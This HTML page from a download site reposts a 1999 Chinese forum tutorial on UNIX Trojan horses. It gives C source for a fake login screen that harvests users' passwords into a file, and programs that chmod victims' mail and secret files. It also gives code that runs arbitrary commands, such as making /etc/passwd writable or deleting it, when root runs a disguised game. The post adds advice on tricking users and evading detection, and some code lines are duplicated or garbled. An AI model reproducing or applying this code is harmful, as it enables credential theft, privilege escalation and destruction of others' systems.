⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 441.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="442.htm">下一篇</a>]
<hr><p align="left"><small>UNIX特洛伊木马 <br>

---------------------------------------------------------------------------- <br>

---- <br>

 努力 于 99-10-31 上午 11:23:56 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系 <br>

统安全: <br>

                              ------------------ <br>

                                UNIX特洛伊木马 <br>

                              ------------------ <br>

简介: <br>

------------ <br>

    “UNIX安全”是种矛盾的说法。UNIX系统是很容易就可以用暴力法攻破,因为大多 <br>

数 <br>

UNIX系统并没有设置登录次数限制,而且还有诸如root、bin、sys、uucp等缺省用户。 <br>

一旦 <br>

进入了系统,就很容易获得系统控制权。如果懂得C语言,你甚至可以使系统为你工作, <br>

完全 <br>

除去系统的安全屏障,建立自已的帐号,读取别人的文件,等等。这些事情都可以通过 <br>

本文 <br>

中简单的C语言代码来实现。 <br>

需求: <br>

------------ <br>

    首先,你需要有一个有效的UNIX系统帐号。如果该UNIX系统是运行在如PDP/11、VA <br>

X、 <br>

X、 <br>

Pyramid等机器上的相对简单的UNIX系统(如4.2bsd或AT&T System V等),则则会获得 <br>

很好 <br>

的效果。如果你在学校拥有一个基于这些系统的帐号,那就再好不过了。 <br>

注释: <br>

----- <br>

    本文的起因是1986年4月刊登的一篇题目为“UNIX安全”的文章。在这篇文章中,作 <br>

者 <br>

说到:“我们希望,我们所提供的资料在一定程度上引起人们的兴趣和避免UNIX过于容 <br>

易成 <br>

为“骇客们的食谱”。因此我们有意省略了某些细节。”于是我根据这篇文章的大纲, <br>

按照 <br>

其中谈到的方法,编写出以下清晰完整的例子。 <br>

实例一:骗取密码 <br>

----------------------------------- <br>

    只要有一点UNIX和C知识,你会发现做到这一点根本不难。但是,你首先必须有权访 <br>

问 <br>

一台许多人都可以使用的计算机,如学校中的公用计算机。 <br>

    当登录到一个UNIX系统时,会出现类似以下内容的屏幕: <br>

Tiburon Systems 4.2bsd / System V (shark) <br>

login: shark <br>

Password:      (无回显) <br>

    以下程序模拟了一个登录过程。你在终端上运行该程序后就离开。那些无知的“笨 <br>



蛋” <br>

会上来输入他们的帐号和密码,这些都会保存在一个文件里。然后屏幕显示“login <br>

incorrect”(登录错误),并要求这个“笨蛋”再次登录。这一次才是真正的登录程序 <br>

, <br>

当然会成功登录了(真是一群“笨蛋”)。 <br>

    把以下程序代码输入名为“horse.c”的文件中。注意,你需要针对不同系统的显示 <br>

更 <br>

改程序的前8行。 <br>

----- Code Begins Here ----- <br>

/* this is what a 'C' comment looks like.  You can leave them out. */ <br>

/* #define's are like macros you can use for configuration. */ <br>

#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" <br>

/* The above string should be made to look like the message that your <br>

* system prints when ready.  Each \n represents a carriage return. <br>

*/ <br>

#define LOGIN  "login: " <br>

/* The above is the login prompt.  You shouldn't have to change it <br>

* unless you're running some strange version of UNIX. <br>

*/ <br>

#define PASSWORD "password:" <br>

/* The above is the password prompt.  You shouldn't have to change <br>

* it, either. <br>

* it, either. <br>

*/ <br>

#define WAIT 2 <br>

/* The numerical value assigned to WAIT is the delay you get after <br>

* "password:" and before "login incorrect."  Change it (0 = almost <br>

* no delay, 5 = LONG delay) so it looks like your system's delay. <br>

* realism is the key here - we don't want our target to become <br>

* suspicious. <br>

*/ <br>

#define INCORRECT "Login incorrect.\n" <br>

/* Change the above so it is what your system says when an incorrect <br>

* login is given.  You shouldn't have to change it. <br>

*/ <br>

#define FILENAME "stuff" <br>

/* FILENAME is the name of the file that the hacked passwords will <br>

* be put into automatically.  'stuff' is a perfectly good name. <br>

*/ <br>

/* Don't change the rest of the program unless there is a need to <br>

* and you know 'C'. <br>

*/ <br>

#include <curses.h> <br>

#include <signal.h> <br>

int stop(); <br>

int stop(); <br>

main() <br>

{ <br>

char name[10], password[10]; <br>

int i; <br>

FILE *fp, *fopen(); <br>

signal(SIGINT,stop); <br>

initscr(); <br>

printf(SYSTEM); <br>

printf(LOGIN); <br>

scanf("%[^\n]",name); <br>

getchar(); <br>

noecho(); <br>

printf(PASSWORD); <br>

scanf("%[^\n]",password); <br>

printf("\n"); <br>

getchar(); <br>

echo(); <br>

sleep(WAIT); <br>

if ( ( fp = fopen(FILENAME,"a") )  != NULL ) { <br>

#fprintf(fp,"login %s has password %s\n",name,password); <br>

#fclose(fp); <br>

#} <br>

#} <br>

printf(INCORRECT); <br>

endwin(); <br>

} <br>

stop() <br>

{ <br>

endwin(); <br>

exit(0); <br>

} <br>

----- Source Ends Here ----- <br>

    OK,正如我所说的,输入以上代码,并修改它,使它看起来与真正的登录过程完全 <br>

  <br>

一致。编译horse.c文件。( % 不必输入,它只是系统提示符。) <br>

% cc horse.c -lcurses -ltermcap <br>

% mv a.out horse <br>

    现在你已有了可执行文件horse。运行它,如果所显示的内容与真正的登录过程不一 <br>

  <br>

样,便重新编辑horse.c源程序,并重新编译。在使用木马程序前,建立名为trap(或者 <br>

  <br>

其他名字)的文件,内容如下: <br>

horse                    (运行木马程序) <br>

login                    (运行系统登录程序) <br>

    执行trap文件: <br>



% source trap            (重复:不要输入 %) <br>

    然后离开终端... <br>

    程序运行几次后,检查stuff文件(或者你定义的任何文件),其内容应类似如下: <br>

  <br>

user john has password secret <br>

user mary has password smegma <br>

etc. <br>

    记录下这些帐号和密码,然后删除这个文件。(否则,如果超级用户看到这个文 <br>

件,你可就危险了。) <br>

    注:为了取得更好的效果,终端最好设置为在一定时间内无用户登录便退出。这样 <br>

, <br>

即使无人使用该终端,木马程序也不会空运行漫长的14小时(或更长)了。 <br>

----- <br>

    下一个实例运行在一个远程系统上,如你已成功侵入的诸如Michigan的VAX、Dratm <br>

outh <br>

的UNIX等系统。然而,它要求UNIX初学者具有一定的C语言知识。 <br>

实例二:读取他人文件 <br>

------------------------------------- <br>

    当用户运行一个程序的时候,他们就是被创建进程的拥有者,程序便可以做出任何 <br>

不 <br>

超越其权限的事情,如删除文件,创建文件,并赋予他人访问的权限等。 <br>

    当用户在UNIX系统上保存邮件时,邮件被保存在用户根目录下的mbox文件中。在缺 <br>



省 <br>

情况下,该文件仅能由用户读取。下面的小程序可以解锁运行此程序的用户mbox文件( <br>

如 <br>

使用chmod 777命令,即允许系统中的任意用户拥有完全访问权限): <br>

----- Code Begins Here ----- <br>

#include <pwd.h> <br>

struct passwd *getpwnam(name); <br>

struct passwd *p; <br>

char buf[255]; <br>

main() <br>

{ <br>

p = getpwnam(getlogin()); <br>

sprintf(buf,"%s/%s",p->pw_dir,"mbox"); <br>

if ( access(buf,0) > -1 ) { <br>

        sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); <br>

        system(buf); <br>

        } <br>

} <br>

----- Code Ends Here ----- <br>

    现在,问题是:怎样才能让攻击目标运行这个程序呢? <br>

    如果系统有发布消息的功能(如4.xbsd中的msgs命令),你可以将程序发布出去。 <br>

  <br>

  <br>

到UNIX WORLD等杂志上找一个工具或游戏程序,并将以上代码插入到程序里。例如,你 <br>

  <br>

有一个tic-tac-toe程序,并已将木马代码放入tic-tac-toe程序真正运行的代码之前, <br>

  <br>

你便可以发布“我有一个新的tic-tac-toe程序,你们可以测试它,可在我的目 <br>

录下找到它。”之类的消息。你也可以单独向你的欺骗目标发出类似的邮件。 <br>

    如果你找不到一个程序可以插入木马,也可以在以上代码最后两个}间插入以下代码 <br>

: <br>

printf("Error opening tic-tac-toe data file.  Sorry!\n"); <br>

    当此程序运行,它将显示以上错误信息。用户就会想:“嗯,这小子连这么简单的 <br>

  <br>

tic-tac-toe程序都不会写!”但其实可笑的是他——你现在已经可以读取他的邮件了。 <br>

  <br>

    如果你想读取某个用户目录下的特定文件(例如“secret”),只要向这个用户投 <br>

寄 <br>

以下程序: <br>

main() <br>

{ <br>

if ( access("secret",0) > -1 ) system("chmod 777 secret"); <br>

} <br>

    然后与他“交谈”或通信,象Joe Loser所说的:“我刚写了一个super_star-wars <br>

程 <br>

程 <br>

序,你愿意测试一下吗?” <br>

    无论你希望何人运行某一命令,都不是一件难事,只要把他放进C程序中的system( <br>

) <br>

函数,然后诱骗他运行这个程序! <br>

    下面是利用以上技术的一些用法: <br>

实例三:成为超级用户 <br>

----------------------------------- <br>

    写一个让别人运行的程序,插入下面代码: <br>

if ( !strcmp(getlogin(),"root") ) system("whatever you want"); <br>

    该代码检查root用户是否在运行本程序。如是,你便可以利用他的权限执行你所希 <br>

望 <br>

的命令了(只要将whatever you want改为该命令即可)。以下是常用的命令: <br>

"chmod 666 /etc/passwd" <br>

    /etc/passwd是系统密码文件,只有root用户可以读写,在一般情况下,其他用户只 <br>

能 <br>

读(密码是经加密的)。如你不清楚其结构格式,可以查看它。上面的命令使你也可以 <br>

读 <br>

写该文件——如为自己和朋友建立无权限限制的帐号。 <br>

"chmod 666 /etc/group" <br>

    通过把自己加入某些具有高级权限的组,你便可以为所欲为了。 <br>

"chmod 666 /usr/lib/uucp/L.sys" <br>

    检查这个文件确定这个系统是否在UUCP(UNIX-UNIX CONNECTION PROTOCOL)网络上 <br>



。 <br>

此文件包含了访问网络中其他系统的拨号用户和密码,以一般情况下,只有UUCP管理员 <br>

能 <br>

读取它。找到UUCP管理员帐号并诱使其在不知情的情况下运行以上代码,你便可以读取 <br>

它了。 <br>

"rm /etc/passwd" <br>

    如果你诱使root用户运行这行代码,就会删除系统密码文件,此系统将停机,并且 <br>

不能 <br>

再次运行了。这是具有相当破坏力的。 <br>

----- <br>

    当你准备向系统放置特洛伊木马,有几条规则应该注意。 <br>

    如果隐蔽性是主要的,(如侵入用户邮箱或删除他的所有文件等,)那么这个程序 <br>

不应该被过多 <br>

地执行(如一个流行的电脑游戏)——一旦用户发现他们的文件被允许完全访问,那么 <br>

他是比较 <br>

容易找到原因的。为了加强木马的隐蔽性,程序应该表明为“测试”程序(比如你正在 <br>

编写的游 <br>

戏),并且请求个别人运行它,并与他们“交流”意见(只是为了欺骗他们)。正如我 <br>

所说的, <br>

“测试”程序在完成其任务后,可以显示虚假的错误消息。你便可以对他们说:“唉呀 <br>

,我想我 <br>

要继续修改它。”在他们离开后,你便可以读取已被你解锁的文件了。 <br>



    如果木马程序的主要目的是捕捉运行此程序的特定用户——如root或其他高级用户 <br>

,你就应该 <br>

把木马程序代码放入可被系统中绝大多数用户频繁执行的程序里。因为木马程序在特定 <br>

用户运行 <br>

前是隐匿的。 <br>

    如果你发现C语言代码很难理解,你就必须从PASCAL语言等转变过来并学会C语言。 <br>

这种情况不 <br>

会有损C语言作为一种伟大的编程语言。 <br>

    以上我们已经看到在UNIX系统上怎样做了。一旦你捕捉到了root用户(如你可以修 <br>

改/etc/passwd <br>

文件),就要从特洛伊木马程序中删除有关欺骗的代码,这样你就永远不会被捉住了。 <br>

  <br>

  <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="442.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -